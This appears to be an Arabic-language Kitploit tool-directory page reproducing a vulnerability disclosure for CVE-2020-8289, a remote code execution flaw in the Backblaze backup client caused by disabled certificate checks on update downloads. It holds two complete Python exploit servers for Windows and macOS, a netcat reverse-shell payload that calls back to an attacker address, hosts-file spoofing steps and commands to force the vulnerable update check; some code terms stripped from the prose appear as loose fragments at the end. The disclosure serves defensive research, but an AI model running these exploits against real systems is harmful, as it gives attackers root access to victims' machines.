Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/geffner/cve-2020-8289
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعدتطوير الحمولات
GitHubgeffner/cve-2020-8289

CVE-2020-8289

CVE-2020-8289 – Remote Code Execution as SYSTEM/root عبر Backblaze

عرض المستودع
112منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-8289 – تنفيذ التعليمات البرمجية عن بُعد بصلاحيات SYSTEM/root عبر Backblaze

ملخص

الاسم: تنفيذ التعليمات البرمجية عن بُعد بصلاحيات SYSTEM/root عبر Backblaze
CVE: CVE-2020-8289
المكتشف: Jason Geffner
البائع: Backblaze
المنتج: Backblaze لنظام Windows و Backblaze لنظام macOS
الخطر: حرج
تاريخ الاكتشاف: 2020-03-13
تاريخ النشر: 2020-09-09
الإصدار المُصحح: 7.0.1.433 (Windows) و 7.1.0.434 (macOS)

مقدمة

وفقًا لويكيبيديا، Backblaze هو

"أداة نسخ احتياطي عبر الإنترنت تسمح لمستخدمي Windows و macOS بنسخ بياناتهم احتياطيًا إلى مراكز بيانات خارج الموقع. الخدمة مصممة للشركات والمستخدمين النهائيين، وتوفر مساحة تخزين غير محدودة وتدعم أحجام ملفات غير محدودة."

تحتوي الإصدارات الضعيفة من Backblaze لنظام Windows و Backblaze لنظام macOS على ثغرة أمنية ذات خطورة حرجة تسمح لمهاجم مجهول غير مصرح له عن بُعد بتنفيذ تعليمات برمجية عن بُعد (RCE) بصلاحيات SYSTEM/root.

الثغرة الأمنية

عملية خدمة عميل Backblaze، المُسماة bzserv، تعمل كـ SYSTEM على Windows وكـ root على macOS. كل بضع ساعات، يقوم bzserv بتشغيل برنامج يُسمى bztransmit (يُتنفذ كـ SYSTEM/root) لتنزيل ملف XML يُسمى clientversion.xml من مركز بيانات Backblaze لمعرفة ما إذا كان هناك إصدار أحدث من عميل Backblaze متاح للتنزيل. يتم إنشاء عنوان URL لملف XML هذا من اسم مضيف bzdatacenter في ملف bzinstall.xml المثبت (للقراءة فقط للمستخدمين غير المصرح لهم) والمسار الثابت api/clientversion.xml، مما ينتج عنه عنوان URL مثل https://ca000.backblaze.com/api/clientversion.xml. يتم هذا التنزيل عبر مكتبة libcurl المرتبطة بشكل ثابت. ومع ذلك، تحتوي وظائف التي تستخدم على منطق غريب يجعلها تضبط على و على إذا كان عنوان URL المُعطى يحتوي على إحدى السلاسل التالية:

  • .backblaze.xyz/
  • .backblazeb2.xyz/
  • api/clientversion.xml
  • api/install_backblaze

يسمح هذا لمهاجم عن بُعد بانتحال شخصية خادم الويب https://ca000.backblaze.com/ بشهادة SSL غير صالحة (على سبيل المثال، شهادة موقعة ذاتيًا) وتزويد العميل بملف clientversion.xml يتحكم فيه المهاجم. عندما يقوم bztransmit بتحليل ملف XML الذي تم تنزيله، فإنه يتحقق مما إذا كان أحدث إصدار عميل موصوف في ملف XML أحدث من إصدار العميل المثبت، وإذا كان الأمر كذلك، فإنه يقوم بتنزيل مثبت أحدث إصدار عميل من مركز بيانات Backblaze. يتم إنشاء عنوان URL لهذا التنزيل من سمة win32_url/mac_url في ملف clientversion.xml الذي تم تنزيله؛ يجب أن تبدأ قيمة السمة بـ %DEST_HOST% ويتم استبدال هذه السلسلة في وقت التشغيل باسم مضيف مركز البيانات الموصوف أعلاه. وبالتالي يمكن للمهاجم توفير عنوان URL للتنزيل مثل %DEST_HOST%/api/install_backblaze في ملف clientversion.xml الخاص به، مما يتسبب في قيام bztransmit بتنزيل المثبت من https://ca000.backblaze.com/api/install_backblaze، وتجاهل شهادة SSL للخادم مرة أخرى بسبب سلسلة api/install_backblaze في عنوان URL. إذا لم يكن الملف الذي تم تنزيله ملف ZIP (على سبيل المثال، إذا كان ملف PE أو ملف Mach-o)، فإن التحقق الوحيد من الملف الذي يقوم به هو أن يحتوي الملف على السلسلة في نطاق إزاحة معين في الملف. بمجرد نجاح هذا التحقق، يستخدم / لتشغيل الملف الذي تم تنزيله كـ /، مما يسمح للمهاجم بتنفيذ RCE كـ /.

إثبات المفهوم (Windows)

فيديو: https://youtu.be/W0THXbcX5V8

إثبات المفهوم هذا مخصص لعميل Windows. نفترض أن المهاجم قد أرسل بالفعل استجابة DNS مُزيفة للضحية لتوجيه ca000.backblaze.com إلى عنوان IP الخاص بالمهاجم، ولكن لأغراض اختبار PoC يمكنك بدلاً من ذلك إضافة السطر <attacker's IP> ca000.backblaze.com إلى ملف %windir%\System32\drivers\etc\hosts الخاص بالضحية. يتوقع الكود أدناه أن يوفر المهاجم rce.exe (الذي سيتم تنفيذه كـ SYSTEM على نظام الضحية) و server.pem (يمكن أن يكون موقّعًا ذاتيًا).

root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""

__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl

bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
             b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
    exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
    raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))

class Handler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", str(len(exe)))
        self.end_headers()
        self.wfile.write(exe)

    def do_POST(self):
        self.send_response(200)
        form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={"REQUEST_METHOD": "POST"})
        response = str.encode(
            ' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
            ' win32_version="1' + form.getvalue("version") + '"' +
            ' win32_url="%DEST_HOST%/api/install_backblaze"')
        self.send_header("Content-Length", str(len(response)))
        self.end_headers()
        self.wfile.write(response)

    def do_CONNECT(self):
        self.wfile.write("HTTP/1.1 200\r\n")
        self.end_headers()
        self.rfile = self.connection.makefile("rb", self.rbufsize)
        self.wfile = self.connection.makefile("wb", self.wbufsize)
        self.close_connection = 0

httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
                               server_side=True)
httpd.serve_forever()

بمجرد تشغيل الكود أعلاه، انتظر. يقوم عميل الضحية بالتحقق من وجود تحديث كل بضع ساعات.

إذا كنت ترغب في اختبار PoC دون انتظار، يمكنك تشغيل الأوامر التالية كـ SYSTEM (باستخدام psexec، على سبيل المثال) على نظام الضحية لفرض التحقق من التحديث:

  • del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lck
  • bztransmit.exe -fetchclientversionxml
  • bztransmit.exe -downloadautoupdateifappropriate

إثبات المفهوم (macOS)

فيديو: https://youtu.be/ILPP1Ky5nuY

إثبات المفهوم هذا مخصص لعميل macOS. في العالم الحقيقي، سيرسل المهاجم استجابة DNS مُزيفة للضحية لتوجيه ca000.backblaze.com إلى عنوان IP الخاص بالمهاجم، ولكن لأغراض PoC، فإننا نهاجم من نفس نظام الضحية ونستغل خدمة Backblaze المخترقة لإنشاء غلاف بعيد (remote shell) يعود إلى المهاجم، مما يمنح المهاجم المحتمل البعيد وصول root.

root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""

__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl

attacker_ip = "localhost"
attacker_port = 12345

reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
                f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
             "xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))

class Handler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", str(len(payload)))
        self.end_headers()
        self.wfile.write(payload.encode())

    def do_POST(self):
        self.send_response(200)
        form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={"REQUEST_METHOD": "POST"})
        response = str.encode(
            ' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
            ' win32_version="1' + form.getvalue("version") + '"' +
            ' mac_version="1' + form.getvalue("version") + '"' +
            ' mac_url="%DEST_HOST%/api/install_backblaze"')
        self.send_header("Content-Length", str(len(response)))
        self.end_headers()
        self.wfile.write(response)

    def do_CONNECT(self):
        self.wfile.write("HTTP/1.1 200\r\n")
        self.end_headers()
        self.rfile = self.connection.makefile("rb", self.rbufsize)
        self.wfile = self.connection.makefile("wb", self.wbufsize)
        self.close_connection = 0

httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
                               server_side=True)
httpd.serve_forever()

بمجرد تشغيل الكود أعلاه، انتظر. يقوم عميل الضحية بالتحقق من وجود تحديث كل بضع ساعات.

إذا كنت ترغب في اختبار PoC دون انتظار، يمكنك تشغيل الأوامر التالية على نظام الضحية لفرض التحقق من التحديث:

  • sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lck
  • sudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxml
  • sudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriate

التخفيف

قامت Backblaze بإصلاح هذه الثغرة الأمنية في إصدار Backblaze 7.0.1.433 لنظام Windows والإصدار 7.0.1.434 لنظام macOS.

المكتشف

تم اكتشاف هذه الثغرة الأمنية والإبلاغ عنها لـ Backblaze بواسطة Jason Geffner عبر HackerOne.

الجدول الزمني

2020-03-13 - اكتشاف الثغرة الأمنية والإبلاغ عنها لـ Backblaze عبر HackerOne
2020-03-31 - التحقق من الثغرة الأمنية بواسطة HackerOne
2020-04-09 - إصدار بناء Windows 7.0.1.433 وبناء macOS 7.1.0.434
2020-04-17 - تعيين CVE-2020-8150
2020-04-18 - التحقق من تخفيف الثغرة الأمنية
2020-04-20 - طلب الكشف العام
2020-09-09 - الكشف العام
2020-12-22 - تغيير تعيين CVE إلى CVE-2020-8289

تنزيل الأداة
bztransmit
libcurl
CURLOPT_SSL_VERIFYPEER
0
CURLOPT_SSL_VERIFYHOST
0
bztransmit
bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavex
bztransmit
ShellExecute()
system()
SYSTEM
root
SYSTEM
root